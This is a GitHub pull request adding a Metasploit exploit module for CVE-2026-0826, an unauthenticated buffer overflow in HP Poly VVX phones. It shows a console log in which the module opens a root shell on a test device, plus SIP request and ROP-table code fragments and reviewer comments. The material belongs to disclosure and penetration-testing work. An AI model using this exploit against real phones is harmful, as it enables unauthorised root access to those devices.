Skip to content

Exploit module for HP Poly VVX (CVE-2026-0826)#21525

Open
sfewer-r7 wants to merge 1 commit into
rapid7:masterfrom
sfewer-r7:CVE-2026-0826
Open

Exploit module for HP Poly VVX (CVE-2026-0826)#21525
sfewer-r7 wants to merge 1 commit into
rapid7:masterfrom
sfewer-r7:CVE-2026-0826

Conversation

@sfewer-r7
Copy link
Copy Markdown
Contributor

@sfewer-r7 sfewer-r7 commented Jun 2, 2026

Overview

This pull request adds an exploit module for CVE-2026-0826, an unauthenticated stack based buffer overflow affecting every model in the HP Poly VVX series, and the HP Poly Trio series of VoIP devices when they have the non-default ICE feature enabled. For more information on the vuln, see our Rapid7 disclosure blog or the vendor advisory.

The module currently supports a VVX 450 device with ROP gadgets for one recent version (6.4.7.4477), as that's what I have to test against.

The device is a minimal embedded Linux system, and getting a payload to work was a pain. I could only leverage socat based payloads, and specifically I added a new cmd/unix/bind_socat_tcp payload which is verified to work.

Example

msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > check
[*] 192.168.86.80:5060 - The service is running, but could not be validated. Poly VVX_450 version 6.4.7.4477
msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > exploit 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Poly VVX_450 version 6.4.7.4477
[*] Started bind TCP handler against 192.168.86.80:4444
[*] Command shell session 1 opened (192.168.86.122:33875 -> 192.168.86.80:4444) at 2026-06-02 11:59:28 +0100

id
uid=0(root) gid=0(root)
date
Tue Jun  2 11:59:30 UTC 2026
uname -a
Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown
pwd
/ffs0
exit
[*] 192.168.86.80 - Command shell session 1 closed.

sip_request << "CSeq: #{rand(65_535)} OPTIONS\r\n"
sip_request << "Call-ID: #{Rex::Text.rand_text_hex(16)}\r\n"
# The vuln is in a non-default service for Interactive Connectivity Establishment (ICE). We use the Require header
# to ask the target is it supports ICE.
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
# to ask the target is it supports ICE.
# to ask the target if it supports ICE.

def get_vvx_rop_table(version_str)
rop_tables = {
'6.4.7.4477' => {
# Even though /proc/sys/kernel/randomize_va_space is 1, all libraries are
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Now I'm curious as to why ASLR doesn't work :D

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

3 participants